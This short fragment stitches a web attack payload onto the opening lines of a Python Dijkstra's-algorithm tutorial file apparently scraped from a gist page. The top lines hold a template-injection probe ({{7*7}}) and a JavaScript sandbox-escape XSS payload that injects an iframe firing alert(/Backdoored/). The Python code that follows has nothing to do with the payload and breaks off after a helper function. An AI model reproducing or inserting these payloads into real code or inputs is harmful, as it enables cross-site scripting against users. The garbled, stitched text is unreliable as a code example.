{{7*7}}
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
| # source: https://dev.to/mariamxl | |
| # https://dev.to/mariamxl/dijkstras-algorithm-in-python-algorithms-for-beginners-dkc | |
| from collections import deque, namedtuple | |
| inf = float('inf') | |
| Edge = namedtuple('Edge', 'start, end, cost') | |
| def make_edge(start, end, cost=1): | |
| return Edge(start, end, cost) |